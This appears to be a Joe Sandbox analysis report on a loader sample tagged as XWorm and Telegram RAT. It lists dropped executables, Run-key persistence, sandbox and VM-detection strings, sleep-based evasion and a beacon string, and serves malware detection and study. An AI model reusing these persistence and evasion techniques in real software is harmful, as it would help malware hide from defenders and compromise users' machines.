Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: ABtXL83KmEzSWaBHLhbHrrir8o8sgBuxMjOBt3qn6SZRgcvVXvj4Wu6MdxzqLrx03kJo1giozk1sqtpirv3N5L49AF System.AppDomain.Load(byte[])
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: ABtXL83KmEzSWaBHLhbHrrir8o8sgBuxMjOBt3qn6SZRgcvVXvj4Wu6MdxzqLrx03kJo1giozk1sqtpirv3N5L49AF

Source: KoaguarLoader.exe.0.dr	Static PE information: section name: UPX2
Source: HkqNfKUrMBAD.exe.2.dr	Static PE information: section name: UPX2
Source: I1y524I4zau1n3u.exe.2.dr	Static PE information: section name: UPX2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF93699D2A5 pushad ; iretd	5_2_00007FF93699D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF936B82316 push 8B485F92h; iretd	5_2_00007FF936B8231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF93699D2A5 pushad ; iretd	10_2_00007FF93699D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF93699D2A5 pushad ; iretd	13_2_00007FF93699D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF936ABB8FA push E85A70D7h; ret	13_2_00007FF936ABBAF9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF936AB131D push eax; ret	13_2_00007FF936AB138B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF936B82316 push 8B485F92h; iretd	13_2_00007FF936B8231B

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\KoaguarLoader.exe	File created: C:\Users\user\AppData\Local\Temp\svhost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\KoaguarLoader.exe	File created: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe	File created: C:\Users\user\AppData\Local\Comms\HkqNfKUrMBAD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	File created: C:\Users\user\AppData\Roaming\svhost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe	File created: C:\Program Files (x86)\Windows NT\I1y524I4zau1n3u.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svhost	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HkqNfKUrMBAD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run I1y524I4zau1n3u	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: svhost.exe, 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: KoaguarLoader.exe, 00000000.00000003.877294126.0000000000A50000.00000004.00000020.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000000.877223219.0000000000F02000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: SBIEDLL.DLLCKDF3UFINPEMGYXUGBCIQXK5ZLFBIOVAFECIC6SWGI4MFDMTZ4Y7E5GTWVXQ5Q4TF2POC5W3DSXVMUBHIIA4HC387GD3QRXSLFCRHUC074VFAODHHYY2ZZXOSXDPHFEGCPJLQX65C2DRE2ZS0XJQ9ZZDLNGWFPSEGENMNDGHGNCNT0Y5HITFXHE9WPITW6HV9A4RJTDVLX2GCEPTYSWJJMTM1BUHCMCPXJ0X32H7CFOCJMCPHCXGCRMXSH6AYGRDD6WTDMD6AWH3XODZCWTUIF2RAQEBC4HJHUFQKJUBH2ZUOA2EVWCFRTGTG49AWW8ZOEPSZPZAYGHYJZLI75SOCUEXFGBU1PHXJL8ZVM4WOIVOJENYMRQI0KCTITMTHGN3FU6TQZTH6WWQFPLAGEXHS4TKCIFNBYZCQXGEXNRG1B3FJXXDWVWWPYI6MOCV9PCC3AASA0LEUIQWYOMEGKOKUNBCYQBMINFO

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KoaguarLoader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Threatname: Telegram RAT

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
KoaguarLoader.exe

Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Memory allocated: 1450000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Memory allocated: 1B110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Memory allocated: 7A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\svhost.exe	Memory allocated: 1A4B0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 598452	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 598233	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 598118	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 597999	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 597889	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 597780	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 597671	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 597561	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 597451	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 597341	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 597232	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 597123	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 597013	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 596904	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 596794	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 596685	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 596576	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Thread delayed: delay time: 596466	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\svhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Window / User API: threadDelayed 3405	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Window / User API: threadDelayed 6437	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5933	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3820	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7364	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2193	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7974
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1610
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7541
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1994

Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -598999s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -598452s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -598233s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -598118s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -597999s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -597889s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -597780s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -597671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -597561s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -597451s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -597341s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -597232s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -597123s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -597013s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -596904s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -596794s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -596685s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -596576s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe TID: 7408	Thread sleep time: -596466s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep count: 7974 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep count: 1610 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7932	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6940	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Users\user\AppData\Roaming\svhost.exe TID: 8116	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\svhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	File Volume queried: C:\ FullSizeInformation

Source: svhost.exe, 00000003.00000000.877223219.0000000000F02000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: vmware
Source: svchost.exe, 0000000F.00000002.2133138102.000001CB6802B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2135882776.000001CB6D859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svhost.exe, 00000003.00000002.2146294254.000000001BF11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWver"%SystemRoot%\system32\mswsock.dllnablePasswordReset="true"
Source: KoaguarLoader.exe, 00000002.00000002.943836986.0000000001AAE000.00000004.00000020.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.948816607.000000000123E000.00000004.00000020.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1086595215.000000000141E000.00000004.00000020.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2134721083.000000000140E000.00000004.00000020.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1217131323.000000000142B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000004478000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000004A42000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000004271000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager'
Source: KoaguarLoader.exe, 00000002.00000002.951588515.000000000287E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"adm":"true","bld":"GYUdvZaEZRGFsyjjc4Z4","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"4UM_3KAGS","mem":4,"pcn":"813435","uname":"user-PC\\user","version":"0.22.0","win":"Program Manager","winv":"Microsoft Windows 10 Pro"}
Source: KoaguarLoader.exe, 00000002.00000002.945609368.000000000276C000.00000004.00001000.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: KoaguarLoader.exe, 00000002.00000002.951588515.000000000287E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"adm":"true","bld":"GYUdvZaEZRGFsyjjc4Z4","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"4UM_3KAGS","mem":4,"pcn":"813435","uname":"user-PC\\user","version":"0.22.0","win":"Program Manager","winv":"Microsoft Windows 10 Pro"}{"adm":"true","bld":"GYUdvZaEZRGFsyjjc4Z4","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"4UM_3KAGS","mem":4,"pcn":"813435","uname":"user-PC\\user","version":"0.22.0","win":"Program Manager","winv":"Microsoft Windows 10 Pro"}
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000020AE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingC:\Users\user\AppData\RoamingProgram ManagerTue, 11 Mar 2025 16:11:44 GMTTue, 11 Mar 2025 16:11:45 GMTProgram ManagerProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:11:54 GMTTue, 11 Mar 2025 16:11:55 GMTProgram ManagerProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:12:24 GMTProgram ManagerTue, 11 Mar 2025 16:12:28 GMTProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:12:34 GMTTue, 11 Mar 2025 16:12:38 GMTProgram ManagerProgram ManagerProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:13:02 GMTProgram ManagerProgram ManagerProgram Manager
Source: svhost.exe, 00000003.00000002.2138122248.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ~Program Manager
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000004A42000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: BfProgram Manager
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000043B4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u0iknzArd8%2BXL5rTCiJhOqJPjYGpixphX1XGPd1rentd5IXA05Dam8QRosb{"1":"5","2":"f6ef22dd17e317c8a968f74f07647597","3":"Program Manager","4":"1"}
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002744000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: *struct { Caption string }Microsoft Windows 10 ProConnectServerProgram Manager2.5.29.14Actalis S.p.A./03358520967Actalis Authentication Root CAActalis S.p.A./03358520967Actalis Authentication Root CA2.5.29.142.5.29.192.5.29.352.5.29.15
Source: svhost.exe, 00000003.00000002.2138122248.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0@
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000004478000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: BpProgram Manager
